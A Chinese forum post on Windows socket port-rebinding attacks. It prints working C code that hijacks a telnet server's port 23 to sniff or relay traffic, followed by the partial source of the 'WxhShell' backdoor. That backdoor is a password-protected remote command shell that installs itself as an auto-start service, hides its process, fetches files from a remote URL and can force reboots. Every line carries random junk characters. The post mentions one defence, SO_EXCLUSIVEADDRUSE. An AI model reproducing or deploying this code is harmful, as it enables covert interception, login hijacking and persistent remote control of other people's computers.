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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \Bvy~UeE)>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r9 5hW  
Zws[C  
  saddr.sin_family = AF_INET;  8MZ:=  
lWyg_YO@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); n1Z*wMwC  
8V?*Bz-4`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }VU7wMk  
Can:!48  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 NScUlR"nE  
A [hvT\X  
  这意味着什么?意味着可以进行如下的攻击: eWk W,a  
6Zx'$F.iqK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :OKU@l|  
7`P1=`..  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) s +Q'\?  
LLV1W0VO=P  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yhsbso,5 a  
j e;^i,&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =XhxD<kI  
S=zW wo$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ugy:^U  
 qDK\MQ!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 cx_$`H  
sUl _W"aQ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 95IR.Qfn!  
Rq[VP#  
  #include  QUb#84  
  #include 3E$h W  
  #include y,F|L?dIq  
  #include    /ReOf<%B  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (GJX[$@  
  int main() ] <y3;T\~  
  { pKzrdw-!  
  WORD wVersionRequested; [ApAd  
  DWORD ret; @wTRoMHPQ  
  WSADATA wsaData; 2tMa4L%@C  
  BOOL val; ~&7 *<`7{  
  SOCKADDR_IN saddr; PBY;S G ~  
  SOCKADDR_IN scaddr; SrT=XX,  
  int err; 6xW17P  
  SOCKET s; KkPr08  
  SOCKET sc; /zTx+U.\I  
  int caddsize; oFDJwOJ'Bj  
  HANDLE mt; /8[T2Z!  
  DWORD tid;   xN>+!&3%w  
  wVersionRequested = MAKEWORD( 2, 2 ); |Qz"Z<sNYw  
  err = WSAStartup( wVersionRequested, &wsaData ); ~|R/w%*C  
  if ( err != 0 ) { |QO)x En~  
  printf("error!WSAStartup failed!\n"); r34 GO1d  
  return -1; J]gtgt^   
  } Rap =&  
  saddr.sin_family = AF_INET; j=V2~ xA6  
   Lv<)Dur0K  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3IYbgUG  
rrc>O*>{i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *<l9d  
  saddr.sin_port = htons(23); #(dERET*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F m$;p6&j  
  { ^!x}e+ o  
  printf("error!socket failed!\n"); c]3^2Ag,  
  return -1; r Cn"{.rI  
  } 'qlWDt/  
  val = TRUE; M^?=!!US^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8 huB<^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v>' mW  
  { wg{Y6X yH  
  printf("error!setsockopt failed!\n"); 39Zs  
  return -1; />[~2d kb  
  } BDc "0XH  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; c 6$n:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kOLS<>.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 qp`G5bw  
H\RuYCn2G  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) fudLm  
  { hZDv5]V:0  
  ret=GetLastError(); O/{W:hJjd  
  printf("error!bind failed!\n"); ~\~XD+jy"  
  return -1; G{{Or  
  } pNzpT!}H>  
  listen(s,2); xx EcmS#>  
  while(1) 5:x .<  
  { #7dM %  
  caddsize = sizeof(scaddr); JrVBd hLr  
  //接受连接请求 fH[:S9@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !|;w(/  
  if(sc!=INVALID_SOCKET) M$AQZ')9  
  { ko<VB#pOMr  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); d){Al(/  
  if(mt==NULL) *N?y<U  
  { ;J40t14u  
  printf("Thread Creat Failed!\n"); V[BlT|t  
  break; dD}!E  
  } #zv'N  
  } WA79(B  
  CloseHandle(mt); G)wIxm$?0  
  } _=oNQ  
  closesocket(s); gKay3}w  
  WSACleanup(); n:5*Tg9  
  return 0; zV=(e( [  
  }   h | +(  
  DWORD WINAPI ClientThread(LPVOID lpParam) (!&g (l;  
  { Or[uq,Dm16  
  SOCKET ss = (SOCKET)lpParam; +6v;( ] y  
  SOCKET sc; ne\N1`AU  
  unsigned char buf[4096]; z0m[25FQG  
  SOCKADDR_IN saddr; !kg)84C[  
  long num; 2\1\Jn#q  
  DWORD val; tf@x}  
  DWORD ret; ^iwM(d]#5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 dwt<s [k  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V7 dAB,:  
  saddr.sin_family = AF_INET; -hP-w>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); # pz{,  
  saddr.sin_port = htons(23); ofA6EmQ37  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v__;oqN0  
  { dj0`Q:VZ  
  printf("error!socket failed!\n"); /@\3#2;  
  return -1; v^_<K4N`  
  } 5cE!'3Y  
  val = 100; 5`3f"(ay/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .5m^)hi  
  { |uE _aFQs  
  ret = GetLastError(); X@7K#@5  
  return -1; 4MOA}FZ~  
  } ,.+"10=N.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TAu*lL(F  
  { Ev\kq>2 O  
  ret = GetLastError(); {\HE'C/?  
  return -1; ]m(5>h#  
  } AH(O"v`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :4D#hOI  
  { 7l})`> k  
  printf("error!socket connect failed!\n"); 7#R& OQ  
  closesocket(sc); {@u}-6:wAT  
  closesocket(ss); m 5NF)eL  
  return -1; ;,h*s, i  
  } s!E-+Gw  
  while(1) =9;jVaEMJL  
  { 9h6xli  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Pk; 9\0k7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 K,IPVjS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =c8U:\0  
  num = recv(ss,buf,4096,0); r_Rjjo  
  if(num>0) uGQCW\!"4  
  send(sc,buf,num,0); ka&-tGg  
  else if(num==0) uXNf)?MpA  
  break; /m;w~ -N  
  num = recv(sc,buf,4096,0); Vy:ER  
  if(num>0) */L;6_  
  send(ss,buf,num,0); NW9k.D%  
  else if(num==0) [vaG{4m  
  break; ^IGTGY]s  
  } A{E0 a:v  
  closesocket(ss); Y4Z?`TL  
  closesocket(sc); Xklp6{VH9  
  return 0 ; NwG&uc+Q  
  } [VPqI~u5)  
2/B Flb  
z~oGd,  
========================================================== Ac.z6]p  
EVj48  
下边附上一个代码,,WXhSHELL uBks#Y*3$  
^tuJM:  
========================================================== R^F99L  
%;zWS/JhL  
#include "stdafx.h" 7q|(ZZa  
M{7EFTy!y  
#include <stdio.h> _pNUI {De  
#include <string.h> `z3?ET  
#include <windows.h> kx1-.~)p(z  
#include <winsock2.h> d~| qx  
#include <winsvc.h> _V{WXsOx(  
#include <urlmon.h> =dX*:An  
zoOm[X=?3  
#pragma comment (lib, "Ws2_32.lib") .#h ]_%  
#pragma comment (lib, "urlmon.lib") 3MjMN%{P  
;:9 x.IkxC  
#define MAX_USER   100 // 最大客户端连接数 DI}h?Uf ,  
#define BUF_SOCK   200 // sock buffer !T0IMI  
#define KEY_BUFF   255 // 输入 buffer RkLH}`#  
XR\ iQ  
#define REBOOT     0   // 重启 hBE}?J>  
#define SHUTDOWN   1   // 关机 IHo6&  
%1HW ) 7  
#define DEF_PORT   5000 // 监听端口 X2i<2N*@  
eS@RA2  
#define REG_LEN     16   // 注册表键长度 LTtfOcrt  
#define SVC_LEN     80   // NT服务名长度 -r-`T s  
m ]K.0E  
// 从dll定义API =10t3nA1$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -"a+<(Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xel&8 `  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~.x!st}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]V@! kg(p8  
{=g-zsc]K  
// wxhshell配置信息 I/WnF"yP  
struct WSCFG { r 'jVF'w  
  int ws_port;         // 监听端口 ^s5.jlZr@  
  char ws_passstr[REG_LEN]; // 口令 l.BSZhO$  
  int ws_autoins;       // 安装标记, 1=yes 0=no 59^@K"J  
  char ws_regname[REG_LEN]; // 注册表键名 x\Sp~]o3C  
  char ws_svcname[REG_LEN]; // 服务名 E7_^RWG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 il-&d]AP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /2HwK/RZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %k$C   
int ws_downexe;       // 下载执行标记, 1=yes 0=no dIO\ lL   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9$DVG/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zc9 n0t[  
I;-{#OE,  
}; ?$n<vF>  
cR5<.$aY  
// default Wxhshell configuration KH KqE6  
struct WSCFG wscfg={DEF_PORT, &`TX4b^/!  
    "xuhuanlingzhe", Y,(eu*Za  
    1, DR0W)K ^  
    "Wxhshell", FxZ\)Y   
    "Wxhshell", Zo0&<QWj  
            "WxhShell Service", ?|hzAF"U  
    "Wrsky Windows CmdShell Service", e#'`I^8l  
    "Please Input Your Password: ", KFV]2mFN  
  1, -~(0:@o ;  
  "http://www.wrsky.com/wxhshell.exe", u8 <=FV3  
  "Wxhshell.exe" x:2[E-  
    }; 9i`LOl:;  
tIr66'8  
// 消息定义模块 3mJHk<m8T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]owH [wvX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A:NY:#uC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 56bB~ =c  
char *msg_ws_ext="\n\rExit."; Dea;9O  
char *msg_ws_end="\n\rQuit."; F'#3wCzt  
char *msg_ws_boot="\n\rReboot..."; . t3@86xTJ  
char *msg_ws_poff="\n\rShutdown..."; [#Yyw8V#<  
char *msg_ws_down="\n\rSave to "; v l*RRoJ  
;OKQP~^iH2  
char *msg_ws_err="\n\rErr!"; ,Xh4(Gn#b  
char *msg_ws_ok="\n\rOK!"; .M! (|KE4  
i5n 'f6C  
char ExeFile[MAX_PATH]; )nJ>kbO~8  
int nUser = 0; @P.l8|w  
HANDLE handles[MAX_USER]; 2d>PN^x  
int OsIsNt; ifgaBXT55  
u\E.H5u27  
SERVICE_STATUS       serviceStatus; 16 Xwtn72  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1Xs! ew)>  
U50X`J  
// 函数声明 .Nf*Yqs0  
int Install(void); +'Ge?(E4_  
int Uninstall(void); [MEa@D<7N  
int DownloadFile(char *sURL, SOCKET wsh); Ci*5E$+\  
int Boot(int flag); Yj"UD:p  
void HideProc(void); =[k9{cVW  
int GetOsVer(void); #YNb&K n  
int Wxhshell(SOCKET wsl); I0ie3ESdN  
void TalkWithClient(void *cs); xxiLi46/  
int CmdShell(SOCKET sock); Ml3F\ fAW  
int StartFromService(void); ^4fkZh  
int StartWxhshell(LPSTR lpCmdLine); >'T%=50YH  
;I7Z*'5!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k Z3tz?Du  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;4_n:XUgo;  
~J2Q0Jv  
// 数据结构和表定义 *@ o3{0[Z  
SERVICE_TABLE_ENTRY DispatchTable[] = @1 +/r?b  
{ WIGb7}egR  
{wscfg.ws_svcname, NTServiceMain}, ?SAi t Q3  
{NULL, NULL} @fK`l@K  
}; ?)X@4Jem  
* =Fcu@  
// 自我安装 } F.1j!71L  
int Install(void) TB[vpTC9)  
{ NWpRzh8$u  
  char svExeFile[MAX_PATH]; j>T''T f  
  HKEY key; !^7:Rr _  
  strcpy(svExeFile,ExeFile); Lf-8G5G  
#SXXYh-e  
// 如果是win9x系统,修改注册表设为自启动 B%pvk.`  
if(!OsIsNt) { Ov|j{}=L=9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b?^n'0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DEs?xl]zO  
  RegCloseKey(key); /{U{smtdFl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `WB|h)Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @$*c0 . |z  
  RegCloseKey(key); 96.Wfx  
  return 0; meL'toaJdQ  
    } "+WR[-n>\  
  } !eq]V9  
} ^ UzF nW@a  
else { at*=#?M1?  
xpxm9ySwu  
// 如果是NT以上系统,安装为系统服务 eXd(R>Mx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q- Qws0\v.  
if (schSCManager!=0) xr/ k.Fz  
{ TGNeEYr  
  SC_HANDLE schService = CreateService L$xRn/\  
  ( P2p^jm   
  schSCManager, } :mI6zsNj  
  wscfg.ws_svcname, %FU[ j^  
  wscfg.ws_svcdisp, $!f$R`R^Q\  
  SERVICE_ALL_ACCESS, h$&XQq0T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t5k&xV=~ #  
  SERVICE_AUTO_START, )yP>}ME  
  SERVICE_ERROR_NORMAL, E;4a(o]{t  
  svExeFile, RFC;1+Jn  
  NULL, ts]7 + 6V  
  NULL, .9xGLmg  
  NULL, ' 7A7HDJ  
  NULL, _#O?g=1  
  NULL >+#[O"  
  ); JW\"S  
  if (schService!=0) ,2`d3u^CW  
  {  {5udol5?  
  CloseServiceHandle(schService); W24bO|>D  
  CloseServiceHandle(schSCManager); ~roHnJ>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6&Dvp1`m  
  strcat(svExeFile,wscfg.ws_svcname); z!+<m<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a}K+w7VY\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r2th6hl~  
  RegCloseKey(key); Lk9>7xY  
  return 0; b{rmxtx  
    } RtL<hD  
  } ^ztf:'l@C  
  CloseServiceHandle(schSCManager); 4.'EEuRw\}  
} + LwoBn>6  
}  kTz  
oc(bcU  
return 1; /v{[Z&z  
} *eP4dGe&  
[}2.CM  
// 自我卸载 N::;J  
int Uninstall(void) >{S$0D  
{ l.x }I"tf  
  HKEY key; i[pf*W0g  
!iVFzG @m  
if(!OsIsNt) { v~\45eEA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ([Aq  
  RegDeleteValue(key,wscfg.ws_regname); xgz87d/<:  
  RegCloseKey(key); }dUC^04  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i!3KG|V  
  RegDeleteValue(key,wscfg.ws_regname); d_+8=nh3  
  RegCloseKey(key); C]fTV{  
  return 0; )^N8L<   
  } ,[\(U!Z7:%  
} tZ^;{sM  
} *u/|NU&X  
else { wIF ":'  
s%oAsQ_y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #P#R~b]  
if (schSCManager!=0) $:[BB ,$  
{ 0*?XQV@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >!1f`  
  if (schService!=0) s8[9YfuW  
  { e<4z)  
  if(DeleteService(schService)!=0) { ?+5{HFx  
  CloseServiceHandle(schService); I_G>W3  
  CloseServiceHandle(schSCManager); !&O/7ywe  
  return 0; A#X.c=  
  } *BsDHq-F~  
  CloseServiceHandle(schService); C|\^uR0  
  } d~jtWd|?  
  CloseServiceHandle(schSCManager); aT#{t {gkA  
} hPz df*(8  
} {*;]I?9Al  
J'yN' 0  
return 1; 'w[d^L   
} $`{q[{  
Q!X_&ao )O  
// 从指定url下载文件 51qIo4$  
int DownloadFile(char *sURL, SOCKET wsh) TRLeZ0EC  
{ t`T\d\  
  HRESULT hr; "g%:#'5  
char seps[]= "/"; m->%8{L  
char *token; id+m [']+  
char *file; yH%+cmp7  
char myURL[MAX_PATH]; lE)rRG+JLW  
char myFILE[MAX_PATH]; ]HV~xD7\  
eCIRt/ uA  
strcpy(myURL,sURL); npcBpGL{  
  token=strtok(myURL,seps); `u~  
  while(token!=NULL) !X%!7wsc  
  { \'+{X(]  
    file=token; ;"Y;l=9_  
  token=strtok(NULL,seps); hlFU"u_  
  } R}wwC[{  
d Zz^9:C+  
GetCurrentDirectory(MAX_PATH,myFILE); p@8krOo`  
strcat(myFILE, "\\"); qM>OE8c#/  
strcat(myFILE, file); {Okik}Oh  
  send(wsh,myFILE,strlen(myFILE),0); :Q ?J}N  
send(wsh,"...",3,0); 5**5b9bj-9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); on;sq8;  
  if(hr==S_OK) fsJTwSI["  
return 0; 'Z2N{65  
else b?] S&)"9  
return 1; x_y>j)  
I^O:5x> [l  
} "1!.^<V*  
Da8$Is;n  
// 系统电源模块 @@/'b '  
int Boot(int flag) J )8pqa   
{ Ag#5.,B-  
  HANDLE hToken; /-{O\7-D  
  TOKEN_PRIVILEGES tkp; N(-%"#M$  
'RV\}gqZ  
  if(OsIsNt) { _`@Xy!Ye  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +z(,A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m0A@jWgd  
    tkp.PrivilegeCount = 1; B#GZmv1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !qXq y}?w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wAYzR$i  
if(flag==REBOOT) { ]u4>;sa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j+13H+dN  
  return 0; c+b:K  
} DAMpR3  
else { hw ;dm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1s} ``1>  
  return 0; =!S@tuY  
} ADyNNMcx  
  } Tt<-<oyU.  
  else {  _WDBG  
if(flag==REBOOT) { 0J:U\S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <[3lV)~t  
  return 0; UQ$\ an'  
} )1Ma~8Y%r  
else { Z;Ir>^<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /R(U>pZ  
  return 0; 8 g# Y  
} s;_#7x#  
} G{:af:5Fo  
p~, 3A:i  
return 1;  zfjDb  
} t)oES>W1  
h2/dhp  
// win9x进程隐藏模块 U-~*5Dd  
void HideProc(void) .}$`+h8W T  
{ Y1yXB).AH8  
f^6&Fb>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  g`)/x\  
  if ( hKernel != NULL ) (Y'UvZlM%P  
  { \2gvp6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r\l3_t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z6FbM^;;  
    FreeLibrary(hKernel); Pa +AF  
  } #"o6OEy$A#  
[]=FZ`4  
return; SrQ4y`?  
} &v3D" J  
f#;ubfi"z  
// 获取操作系统版本 rY[3_NG%  
int GetOsVer(void) hpqHllL  
{ ,NaV [ "9$  
  OSVERSIONINFO winfo; n~"g'Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  EbBv}9g  
  GetVersionEx(&winfo); u,Q_WR-wJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nj~$%vmA  
  return 1; pu2wEQ  
  else ,);= (r9  
  return 0; , `[Z`SUk`  
} Qe @A5#  
=e-a&Ep-z  
// 客户端句柄模块 Ersr\ZB  
int Wxhshell(SOCKET wsl) I5TQ>WJbf  
{ u:AfHZ  
  SOCKET wsh; .fLiXx  
  struct sockaddr_in client; vy{rwZ$  
  DWORD myID; lnS\5J  
Eo7 _v  
  while(nUser<MAX_USER) oN&rq6eN  
{ o7c%\v[  
  int nSize=sizeof(client); @H3s2|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }{#;;5KrB  
  if(wsh==INVALID_SOCKET) return 1; ONr?.MJ6j  
Z9J =vzsHE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~zE 1'  
if(handles[nUser]==0) *c~'0|r  
  closesocket(wsh); KD,^*FkkL  
else 3xmiX{1e  
  nUser++; r%Q8)nEo  
  } .\ ;l-U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f7_\).T  
="5k\1W1M  
  return 0; r/N[7 *i  
} tAb;/tM3I  
Njy9JX  
// 关闭 socket d{iu+=NXz  
void CloseIt(SOCKET wsh) bK_0NrXP  
{ 9D{u,Q V  
closesocket(wsh); l#2r.q^$|  
nUser--; CU#L *kz  
ExitThread(0); eHVdZ'%x  
} r!=]Q}`F  
3i]"#wK  
// 客户端请求句柄 dl*_ m3T  
void TalkWithClient(void *cs) u|_LR5S!j  
{ kz7vbY  
RlI W&y  
  SOCKET wsh=(SOCKET)cs; e/]O<,*  
  char pwd[SVC_LEN]; c{'$=lR "  
  char cmd[KEY_BUFF]; ys&"r":I  
char chr[1]; g^s+C Z  
int i,j; wq:b j=j  
7.7Cluh5,  
  while (nUser < MAX_USER) { ['51FulDR  
$?]@_=  
if(wscfg.ws_passstr) { L<f-Ed9|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tl{]gz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ql!5m\  
  //ZeroMemory(pwd,KEY_BUFF); p/ziFpU  
      i=0; Ek"YM[  
  while(i<SVC_LEN) { 8_^'(]  
 uD.  
  // 设置超时 >Jm-2W5J  
  fd_set FdRead; \ &eY)^vw  
  struct timeval TimeOut; $\0cJCQ3  
  FD_ZERO(&FdRead); cwH,l$  
  FD_SET(wsh,&FdRead); ,X9hl J  
  TimeOut.tv_sec=8; ppwd-^f3j  
  TimeOut.tv_usec=0; w$DG=!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]yyU)V0Iu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c0!Te'?  
?Ia4H   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ux_EpC   
  pwd=chr[0]; 96.IuwL*.s  
  if(chr[0]==0xd || chr[0]==0xa) { SjZd0H0  
  pwd=0; 3gxf~$)?  
  break; ~hS .\h  
  } K:}h\ In  
  i++; (A7T}znG  
    } *)j@G:  
(/T +Wpy?  
  // 如果是非法用户,关闭 socket XoDJzrL#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L/qZ ;{  
} tpv?`(DDU  
oS[W*\7'!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &M0o&C-1/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pd=7^"[};  
N; rXl8  
while(1) { b*lKT]D,  
S9OxI$6Y  
  ZeroMemory(cmd,KEY_BUFF); hVlyEsLg  
G[|3^O>P  
      // 自动支持客户端 telnet标准   !d:tIu{)  
  j=0; U3mXm?f  
  while(j<KEY_BUFF) { 0^J*+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (P2[5d|  
  cmd[j]=chr[0]; NJ >I%u*  
  if(chr[0]==0xa || chr[0]==0xd) { tH-gaDj_  
  cmd[j]=0; @Djs[Cs<*  
  break; X }m7@r@  
  } '9^E8+=|  
  j++; }R`8h&J  
    } zXj>K3M  
=L:[cIRrT;  
  // 下载文件 <2n'}&F  
  if(strstr(cmd,"http://")) { Wl,%&H2S<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I 'x$,s  
  if(DownloadFile(cmd,wsh)) *}+R{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FpP\-+Sl  
  else ,)Yao;Cvd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5?^]1P_  
  } 0w^jls  
  else { I|$'Q$m~  
V %i<;C  
    switch(cmd[0]) { Zk wJ.SuU  
  B#J{F  
  // 帮助 $`E4m8fX  
  case '?': { V78Mq:7d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x*:n4FZ7b  
    break; ri_P;#lz  
  } 8&i;hZm  
  // 安装 gs$3)t  
  case 'i': { _Mlhum t  
    if(Install()) x2Ha&   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jeY4yM  
    else FL59  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RwUW;hU  
    break; Vz%"9`r  
    } wh9L(0  
  // 卸载 >r~0SMQr  
  case 'r': { j6`6+W=S(  
    if(Uninstall()) $B<~0'6}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! &Z*yH  
    else uRP Ff77  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O\%j56Bf  
    break; X d!Cp  
    } B<A:_'g  
  // 显示 wxhshell 所在路径 _wMc*kjJO  
  case 'p': { mG X\wta  
    char svExeFile[MAX_PATH]; Z&TD+fT<  
    strcpy(svExeFile,"\n\r"); i"/r)>"b  
      strcat(svExeFile,ExeFile); @v"T~6M  
        send(wsh,svExeFile,strlen(svExeFile),0); 5@K\c6   
    break; KUbJe)}g  
    } $,!hD\a  
  // 重启 S<*';{5~  
  case 'b': { =1O?jrl~q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Bhj:9%`  
    if(Boot(REBOOT)) 6{L F-`S%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ma3Qi/  
    else { #sL/y  
    closesocket(wsh); -P2 @mx%  
    ExitThread(0); D^N[=q99&e  
    } V_jiOT!  
    break; Q< dba12  
    } \{lE0j7}h  
  // 关机 ]Uu aN8  
  case 'd': { " l.!Ed  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +9TV:T  
